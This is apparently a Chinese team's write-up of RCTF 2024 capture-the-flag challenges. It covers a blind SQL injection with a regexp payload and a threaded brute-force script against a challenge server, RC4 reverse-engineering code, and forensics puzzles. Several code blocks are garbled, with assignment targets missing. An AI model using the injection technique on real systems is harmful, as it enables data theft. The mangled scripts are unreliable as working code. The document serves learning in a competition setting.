本次比赛,UKFC位列18名。
Web
what_is_love
审计key1相关代码:
app.post("/key1", (req, res) => {
const { key1 } = req.body;
if (key1.length > 52 || !isSafe(key1)) {
return res.send("love waf");
}
let res1 = `SELECT * FROM key1 WHERE love_key = '${key1}'`;
db.query(`SELECT * FROM key1 WHERE love_key = '${key1}'`, (err, results) => {
if (err) {
res.send("error");
} else if (results.length > 0) {
res.send("success");
} else {
res.send("wrong");
}
});
});
存在SQL注⼊,考虑提前闭合WHERE字句中love_key=” 条件,并使⽤正则匹配依次爆出key1每⼀位:
即,传参:‘||love_key regexp ‘^RCTF{ , 爆破每⼀位
由于代码中限制key1⻓度⼩于52,只能爆出key1前⼏位:RCTF{THE_FIRST_STEP_IS_TO_GET_T
于是将正则匹配改为:.*GET_T继续爆破
得到key1:RCTF{THE_FIRST_STEP_IS_TO_GET_TO_KNOW
exp:
import requests
import string
import threading
from queue import Queue
"'||love_key regexp '{}" =
'^RCTF{' =
# flags='.*GET_T'
string.digits+string.ascii_uppercase+"_-!%&" =
:
payload.format(flag+i) =
# print(mess)
requests.post('http://1.94.13.174:10088/key1',data={'key1':mess}) =
# print(req.text)
:
i =
print(flag)
queue.put(flag)
Queue() =
:
[] =
:
threading.Thread(target=step,args=(payloads,flags,m,queue)) =
t_list.append(t)
t.start()
:
t.join()
:
queue.get(True,1) =
print(flags)
:
queue.get()
:
print('error')
exit(0)
# '||love_key regexp 'RCTF{THE_FIRST_STEP_IS_TO_GET_T
# '||love_key regexp '.*GET_TO_KNOW
审计key2相关代码:
(req, res) => {
req.body; =
{}; =
username; =
Number(love_time); =
= "number") { =
res.send(
"There was once a sincere love in front of me, I didn't cherish it, and
I regretted it when I lost it, and the most painful thing in the world is
nothing more than this. If God could give me a chance to start over, I would
say three words to that girl: I love you. If I had to put a deadline on this
I would say 10,000 years."
);
}
false; =
if (
== my_lover.username && =
== my_lover.love_time =
) {
true; =
}
auth.createToken({ =
userInfo.username, :
userInfo.love_time, :
have_lovers, :
});
${token}`); :
});
> { =
req.body; =
auth.decodeToken(love_token); =
if (err) {
res.send("error");
return;
}
if (userinfo.have_lovers) {
res.send(`your key2 is ${key2}`);
} else {
res.send("your have not lover");
}
});
Re
2048
刚开始⼩逆了⼀下,发现这玩意初始⼀万分,⼀百万分就给flag,如果把把梭哈翻倍,也就是2^7就能出。。。
所以直接上⼿玩,没想到这也能⼀⾎(?)
bloker_vm
根据异常码来设置opcode 唬⼈的
然后⽆脑动调跟⼀下 ⼀次异或⼀次位移⼀次rc4,好像还进⾏了什么smc,其实没啥⽤。
刚开始调了⼀下发现对不上 其实是rc4密钥有问题,去掉最后⼀位就⾏了。
/*
RC4初始化函数
*/
void rc4_init(unsigned char* s, unsigned char* key, unsigned long Len_k)
{
int i = 0, j = 0;
char k[256] = { 0 };
unsigned char tmp = 0;
for (i = 0; i < 256; i++) {
s[i] = i;
k[i] = key[i % Len_k];
}
for (i = 0; i < 256; i++) {
j = (j + s[i] + k[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
}
}
/*
RC4加解密函数
unsigned char* Data 加解密的数据
unsigned long Len_D 加解密数据的⻓度
unsigned char* key 密钥
unsigned long Len_k 密钥⻓度
*/
void rc4_crypt(unsigned char* Data, unsigned long Len_D, unsigned char* key,
unsigned long Len_k) //加解密
{
unsigned char s[256];
rc4_init(s, key, Len_k);
int i = 0, j = 0, t = 0;
unsigned long k = 0;
unsigned char tmp;
for (k = 0; k < Len_D; k++) {
i = (i + 1) % 256;
j = (j + s[i]) % 256;
tmp = s[i];
s[i] = s[j];
s[j] = tmp;
t = (s[i] + s[j]) % 256;
Data[k] = Data[k] ^ s[t];
}
}
int main()
{
//字符串密钥
unsigned char key[] = "thisisyoursecretke";
unsigned long key_len = sizeof(key) - 1;
//数组密钥
//unsigned char key[] = {};
//unsigned long key_len = sizeof(key);
unsigned char flag[]="RCTF";
for (int i=0;i<4;i++){
flag[i]^=0x7d;
flag[i]=((flag[i] << 6) | (flag[i] >> 2) )& 0xff;
}
for (int i=0;i<4;i++) printf("0x%x,",flag[i]);
rc4_crypt(flag, sizeof(flag), key, key_len);
for (int i=0;i<4;i++) printf("0x%x,",flag[i]);
//加解密数据
unsigned char data[] =
{0x80,0x5,0xe3,0x2f,0x18,0x2f,0xc5,0x8c,0x25,0x70,0xbc,
0x5,0x1c,0x4f,0xf2,0x2,0xe5,0x3e,0x2
,0x2f,0xe5,0x11,0xa3,0xc0, };
//for (int i=0;i<25;i++) printf("%x",data[i]);
//加解密
rc4_crypt(data, sizeof(data), key, key_len);
for (int i=0;i<4;i++) printf("0x%x,",data[i]);
for (int i=0;i<25;i++){
data[i]=((data[i] >> 6) | (data[i] << 2) )& 0x3f;
data[i]^=0x7d;
}
for (int i = 0; i < sizeof(data); i++)
{
printf("%c", data[i]);
}
printf("n");
return 0;
}
⼿速快就是能拿⼀⾎啊哈哈
Misc
Logo: Signin
签到题,通过分析附件 python 代码,只要在代码框⾥输⼊ logo = <附件给出的⼀⼤串logo> 就过了。不过经验之谈没这么简单,通过本地调试你会发现换⾏出了问题,本质上输⼊的是执⾏代码,如果直
接换⾏肯定会出错,但是代码会以字符串的形式保存在变量中,如果输⼊转义字符 n 的话则会判断成
“n” ⽽不是回⻋,如果要绕过,需要在回⻋的位置⽤其他字符替换,并使⽤函数将字符换回换⾏字
符:(下⽂换⾏是为了能完整显⽰)
logo =
"##############################################################################
#####################a############################ #
####################################################################a####
# ########### ## ## ########### ########
#####a#### ## ######### ##########
##### ###a#### ######## ########
######################### ############# ############ ##a####
########## ###### ########### ############## ############
##################a### ############# ##### ###########
############ ############ ###################a### ##############
### ############# ############# #############
##################a### ############## ### #############
########### ############## #################a### ##############
## ############### ############ ###############
##############a### ############## #### ############### ############
################ #############a### ############# ####
############## ########### #################### ##########a###
########### ##### ############### ###########
##################### #########a### #### ######
############# ########### ######################## #######a###
### ######## ############# ###########
######################### ######a### ######### #########
############ ############ ########################## ######a###
######### ######## ########### #############
######################### ######a### ########### ########
######## ############# ############# ######### ######a###
########### ######### ###### ############ ###############
### #######a### ############## ########### ############
######## #########a#### ###############################
#############################################
###########a##################################################################
#################################"
logo = logo.replace('a',chr(10))
s1ayth3sp1re
所给出附件为杀戮尖塔的游戏⽂件,题⾯为score>3000则可以得到flag
游玩⼀番发现此游戏⽂件较为完整,出题⼈所作的修改应为外挂⽅式,进⼊jadx反编译直接搜索关键
词“3000”,可发现其中⼀处与游戏⽂件格格不⼊,判断为flag⽣成点
进⼊主逻辑后发现其为简单异或,数组中未知值也可以直接找到,编写异或脚本即可得到flag
Logo: 2024
还是输出logo 但是要⼩于446字节
考虑到要压缩较多倍 于是选择了记录每⼀⾏切换#和空格的位置
除开第⼀⾏和最后⼀⾏,其余都记录下来
由于总共就100列,其中96列都有被记录过,刚好有95个ascii可⻅字符 稍加处理能把基本所有的变换
位置都存在⼀个字符串内
'9:;<!$&-89;<>HSfn{!$&1:ISfl~!$,3;@Z^ko{x7f!$/4:>ILZ^jn $15:>IMZ^jn
$269=JNZ]kp $269<KNZ]lr $259<KNZ]nt $159<KNY]qw $049<KNY]sx 259=JMZ]jn
$03<AGJV]lquz (39<JNY]uz $(19=JNY]w{ $-1:=JMY]w{ $.2:>ILY]w{ $/3;?HLY]jnw{
"ACqu'[idx] 12=FRdmx!
⼤致共240个字节
那么剩下的200个字节就可以写解码和存放逻辑了 并且将不必要的缩进去除
脚本如下
s=' '
'#' =
'#'*100+'n' =
0 =
0 =
:
'9:;<!$&-89;<>HSfn{!$&1:ISfl~!$,3;@Z^ko{x7f!$/4:>ILZ^jn $15:>IMZ^jn =
JMZ]jn $269=JNZ]kp $269<KNZ]lr $259<KNZ]nt $159<KNY]qw $049<KNY]sx =
$(19=JNY]w{ $-1:=JMY]w{ $.2:>ILY]w{ $/3;?HLY]jnw{ $03<AGJV]lquz
#12=FRdmx!"ACqu'[idx]
ord(i)-29 =
:
logo+c*(100-t)+'n' =
0 =
logo+c*(b-t) =
='#':c=' ' =
c='#' :
b =
idx+1 =
logo+12*'#'+'n'+'#'*100 =
445个字节不多不少 拿到flag
sec-image
⼀张图⽚⾥塞了4位flag,第⼀张图⽚很明显的RCTF,直接想怎么分离即可
像素只有⿊⽩两种,所以写脚本也不好处理,丢进gimp看有没有办法
可以发现特定的变换之下可以显⽰出单个字⺟,同⽅法处理每张图⽚即可
FindAHacker
附件是 Win7_x64 的 vmem 快照镜像,经典取证。使⽤ lovelymem 加载后挂载内存 pmem ⽂件,并使⽤ diskgenius 进⾏扫描,发现桌⾯上残留有 ida
加载⼆进制⽂件的痕迹:
遂⽴即提取 i64 ⽂件,发现 diskgenius 以及 vol2 均⽆法提取该⽂件,便使⽤最新最热的 vol3:
⼀眼顶针 异或⼀下就出了
gogogo
⼜是取证,是⼀个 raw 镜像⽂件:
和上⼀道题挂载看⼀看,发现什么都没有,直接使⽤ AXIOM ,lovelymem 开梭(这⾥以 lovelymem为例),看到了⼀些⼗分可疑的浏览记录,从中我们可以推理出⼀些机主的活动:
这⾥有⼀个个⼈主⻚,可能是机主的,我们可以通过该账号获取⼀些信息,这是因为出题⼈玩原神玩的。
还有机主藏在⽹盘⾥的⼩秘密:
我们来看看⽹盘的⼩秘密,很可惜,⽹址并不⾃带密码,我们需要找到密码,那么在密码在哪⾥呢?仔细想想,百度⽹盘真的会有⼈⼿输密码吗?⼀般都是复制吧,那么剪切板⾥肯定会有,直接 vol2 开梭:
梭出来了,下载,发现 pwd=?.zip 解压,发现解压不了,因为有密码,但是我们点开机主 b 站空间发现:
解压发现有下⾯的东西
解析流量包发现是键盘输⼊信号,对其提取如下:
['n', 'i', 'u', 'o', '<SPACE>', 'y', 'b', 'u', 'f', 'm', 'e', ] USB_Found : [
'f', 'h', 'u', 'i', '<SPACE>', 'k', 'j', 'q', 'i', 'l', 'l', 'x', 'd', 'j',
'w', 'm', 'i', '<SPACE>', 'u', 'i', 'z', 'e', 'b', 'u', 'u', 'i', '<SPACE>',
'<RET>', 'd', 'v', 'o', 'o', '<SPACE>', '<RET>', 'u', 'd', 'p', 'n',
'<SPACE>', 'u', 'i', 'b', 'u', 'u', 'i', '<SPACE>', 'j', 'q', 'y', 'b', 'd',
'm', '<SPACE>', 'v', 'e', 'g', 'e', 'y', 'i', 's', 'i', '<SPACE>', '<RET>',
'v', 'e', 'm', 'e', 'u', 'o', 'l', 'l', '<SPACE>', 'j', 'x', 'y', 's', 'g',
'o', 'w', 'o', 'd', 'm', 'n', 'k', 'd', 'e', 'r', 'f', '<SPACE>', 'd', 'b',
'm', 'z', 'f', 'a', '<SPACE>', 'h', 'k', 'h', 'k', 'd', 'a', 'z', 'i',
'<SPACE>', '<RET>', 'z', 'v', 'j', 'n', 'y', 'b', 'u', 'f', 'm', 'e',
'<SPACE>', 'h', 'k', 'w', 'j', 'd', 'e', 'g', 'g', 'm', 'a', '<SPACE>',
'<RET>', 'n', 'a', '<SPACE>', 'm', 'i', 'm', 'a', 'j', 'q', 'u', 'e', 'v',
'i', 'i', 'g', '<SPACE>', '<RET>', 'k', 'y', 'l', 'l', 'd', 'a', '<SPACE>',
'd', 'o', 'q', 'i', 's', 'l', '<SPACE>', 'b', 'a', '<SPACE>', '<RET>', 'p',
'n', 'y', 'n', 'q', 'r', 'p', 'n', '<SPACE>', '<RET>', 'q', 'r', 'x', 'c',
'x', 'x', 'z', 'i', 'm', 'u', '<SPACE>', '<RET>'
整理⼀下就是:
niuo ybufmefhui kjqillxdjwmi uizebuui
dvoo
udpn uibuui jqybdm vegeyisi
vemeuoll jxysgowodmnkderf dbmzfa hkhkdazi
zvjnybufme hkwjdeggma
na mimajqueviig
kyllda doqisl ba
pnynqrpn
qrxcxxzimu
双拼⽤⼾直呼不对劲,并打了出来:
有什么⽅式 看起来像加密 实则不是
对哦 双拼 是不是 就有点 这个意思
这么说来 最近有什么 好玩的梗吗
那密码就设置成
快来打夺旗赛吧
拼⾳全拼 全⼩写字⺟
密码:kuailaidaduoqisaiba,密码内容,解压即出。
总结:作为XCTF的开头,本赛确实妙趣横生,也有很多整活的内容,我们乐在其中(大嘘
这下憧憬成为misc大佬咯~
欢迎进群讨论啦!
原文始发于微信公众号(UKFC安全):UKFC2024 RCTF WP